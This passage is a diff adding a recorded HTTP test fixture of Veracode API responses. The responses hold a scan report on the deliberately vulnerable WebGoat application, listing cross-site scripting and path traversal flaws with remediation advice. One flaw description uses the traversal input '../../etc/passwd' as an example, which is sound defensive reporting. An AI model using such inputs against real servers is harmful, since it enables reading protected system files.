+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:17:31 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200074'
+      Date:
+      - Tue, 27 Oct 2015 12:17:35 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:17:35 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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